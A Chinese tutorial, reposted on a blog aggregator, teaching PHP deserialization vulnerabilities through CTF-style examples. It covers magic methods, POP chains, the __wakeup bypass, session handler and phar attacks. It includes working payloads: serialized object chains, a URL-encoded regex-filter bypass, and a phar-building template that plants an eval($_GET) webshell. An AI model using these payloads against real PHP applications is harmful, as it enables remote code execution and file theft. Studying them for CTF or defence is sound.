PHP反序列化漏洞(最全面最详细有例题)

这篇具有很好参考价值的文章主要介绍了PHP反序列化漏洞(最全面最详细有例题)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

PHP反序列化漏洞

靶场搭建:
所有例题靶场里面都有
直接把文件放在phpstudy的目录下,或者用docker打开都行

一.类与对象

类的结构,类的内容,实例化和赋值,类的修饰符介绍

<?php
highlight_file(__FILE__);
class hero{
  var $name;
  var $sex;
  function jineng($var1) {
    echo $this->name;
    echo $var1;
    }
}
$obj = new hero();
$obj->name = "haha";
$obj->sex = "男";
print_r($obj); 
?>

外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员

二.反序列化基础知识

a - array               b - boolean
d - double              i - integer
o - common object       r - reference
s - string              C - custom object
O - class               N - null
R - pointer reference   U - unicode string

private属性变量,会在其前面和后面各加上%00,且还要加上类的名字

protect属性变量,会在其前面加上%00*%00

<?php

class hero{
private $id='nihao';
protected $ip='123';
public $ia='ddd';
}
$a = new hero();
echo serialize($a);
?>

结果:
反序列化例题,php,web安全,网络安全

三.魔术方法的构造和折构

什么是魔术方法?
反序列化例题,php,web安全,网络安全

__construct()

构建函数,在实例化一个对象时,自动进行执行的一个方法;
触发时机:实例化对象 功能:提前清理不必要要的内容 参数:非必要 返回值:

__destruct()

析构函数,在对象的所以被引用被删除或者当对象被显示销毁时执行的魔术方法
触发时机:对象引用完成,或对象被销毁 功能: 参数: 返回值:

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称为数组。
如果该方法并为返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize之前 功能:对象被序列化之前触发,返回需要被序列化存储的属性,删除不必要的属性 参数:return array 返回值:返回必要的存储属性

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

运行结果:
反序列化例题,php,web安全,网络安全

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法
如果存在,则先调用__wakeup方法,预先准备对象需要的资源库。
预先准备对象需要的资源库,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始操作
触发时机:反序列化unserialize()之前 功能: 参数: 返回值:
__tostring()
表达方式错误导致的魔术方法触发
触发时机:对象被当成字符串调用 功能: 参数: 返回值:
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数去调用 功能: 参数: 返回值:

<?php
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test ->benben;
echo "<br>";
echo $test() ->benben;
?>

运行结果
反序列化例题,php,web安全,网络安全

错误调用魔术方法:

__call()
调用时机:调用一个不存在的方法 功能: 参数:2个参数传参$ arg1,$arg2 返回值:调用的不存的方法名称和参数

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>

运行结果
反序列化例题,php,web安全,网络安全

$ arg1,$arg2;
$arg1,调用的不存在的方法的名称;
$arg2,调用不存在的方法的参数;

__callStatic()

反序列化例题,php,web安全,网络安全

<?php
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');
?>

运行结果:
反序列化例题,php,web安全,网络安全

__get()

反序列化例题,php,web安全,网络安全

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User();
$test ->var2;
?>

运行结果:
反序列化例题,php,web安全,网络安全

__set()

反序列化例题,php,web安全,网络安全

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;
?>

反序列化例题,php,web安全,网络安全

__isset()

反序列化例题,php,web安全,网络安全isset()调用的成员属性var不可访问或不存在

<?php
class User {
    private $var;
    public function __isset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);
?>

反序列化例题,php,web安全,网络安全

__unset()

反序列化例题,php,web安全,网络安全

<?php
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);
?>

运行结果:
反序列化例题,php,web安全,网络安全

__clone()

反序列化例题,php,web安全,网络安全

<?php
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)
?>

运行结果:
反序列化例题,php,web安全,网络安全

魔术方法小总结

反序列化例题,php,web安全,网络安全反序列化例题,php,web安全,网络安全

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控
通过更改这个值,得到所需要的代码
通过调用方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。

四.pop链构造

魔术方法触发规则
魔术方法触发前提是:魔术方法所在的类(或对象)被调用

POP链

在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),
所以在php反序列化中有一种漏洞利用方法叫"面向属性编程“,
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。

POC链

POC(全程:Proof of concept)中午译为概念验证。在安全界可以理解为漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

反推法:
<?php
//flag is in flag.php
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

反序列化例题,php,web安全,网络安全
poc:

<?php
//flag is in flag.php
class Modifier {
    private $var='flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show->source = $show;
$show->str=$test;
echo serialize($show);
?>

结果:O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:13:“Modifiervar”;s:8:“flag.php”;}}}//注意var为私有属性,应该添加%00,%00

五.字符串逃逸

反序列化分隔符:
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:
一般数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

利用原理:反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少。
例题与原理讲解

六.__wakeup魔术方法绕过

反序列化漏洞:CVE-2016-7124
版本:
php5<5.6.25 php7<7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数大于真实属性个数时,会跳过__wakeup()的执行

__wakeup绕过简单例题:

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;//目标
    }

    function __wakeup(){
        $this->file='index.php';
    }
}

$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>
/[oc]:\d+:/i

这个正则表示匹配查看是否含有数字
如何绕过呢?
我们反序列化是需要数字的那怎么绕过呢,只需要在数字前面加上一个+号即可绕过

**payload:**O:+6:“secret”👍{s:+4:“file”;s:+8:“flag.php”;}
进行一次url编码:
O%3A%2B6%3A%22secret%22%3A%2B1%3A%7Bs%3A%2B4%3A%22file%22%3Bs%3A%2B8%3A%22flag.php%22%3B%7D

七.引用的利用方法

这个我也不是很懂,很少遇见,大牛可以在评论区讲解讲解

例题

<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

构造poc链条:

<?php
class just4fun {
    var $enter;
    var $secret;
}
$a = new just4fun();
$a ->enter=&$a ->secret;
echo serialize($a);
?>

payload:O:8:“just4fun”:2:{s:5:“enter”;N;s:6:“secret”;R:2;}

八.SESSION反序列化漏洞

反序列化例题,php,web安全,网络安全

session的不同处理器的不同储存格式

第一种格式:

反序列化例题,php,web安全,网络安全

第二种格式:

反序列化例题,php,web安全,网络安全

第三种格式:

反序列化例题,php,web安全,网络安全
存储格式:06benben:s:8:“dazhuang”;01🅱️s:3:“666”;
php_binary:键名的长度与对应的ascii字符+键名+经过serialize()函数序列化处理的字符串的值

例题:

 <?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}

hint.php:
 <?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?> 
?> 

poc链构造:

<?php
class Flag{
    public $name;
    public $her;
}
$a = new Flag();
$a -> name = &$a-> her;
echo serialize($a);

结果:O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}
最终payload:?a=|O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}

九.phar反序列化漏洞学习

反序列化例题,php,web安全,网络安全

例题
 <?php
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?> 
phar构造模板
<?php
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';//传入的命令
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

注意这个模板运行的时候可能会报错,注意调节php的版本

phar的使用条件:

在这里插入图片描述反序列化例题,php,web安全,网络安全
phar协议和php伪协议一样对这里上传的文件的后缀名没有要求,都可以直接解读

参考b站博主:橙子科技工作室(讲的非常详细,大家可以去看看)

GlobIterator类

ArrayObject类

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

它的特点就是,只需要知道部分名称就可以进行遍历

关于上面两个类的利用例题 (GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_php)文章来源地址https://www.toymoban.com/news/detail-694651.html

到了这里,关于PHP反序列化漏洞(最全面最详细有例题)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(55)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(59)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(49)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(57)
  • php魔术方法和反序列化漏洞

    漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。 反序列化是字节流转对象的过程

    2024年02月09日
    浏览(54)
  • PHP反序列化漏洞之产生原因(题目练习)

    PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。 一句话讲晒就是:  反序列化漏洞是由于unserialize函数接收到了

    2024年02月06日
    浏览(64)
  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(55)
  • CTF-PHP反序列化漏洞1-基础知识

    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半

    2023年04月15日
    浏览(44)
  • CTF-PHP反序列化漏洞2-利用魔法函数

    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半

    2024年02月05日
    浏览(35)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。 1、主函数: 调用序列化方法 将反序列化的的结果

    2024年01月25日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包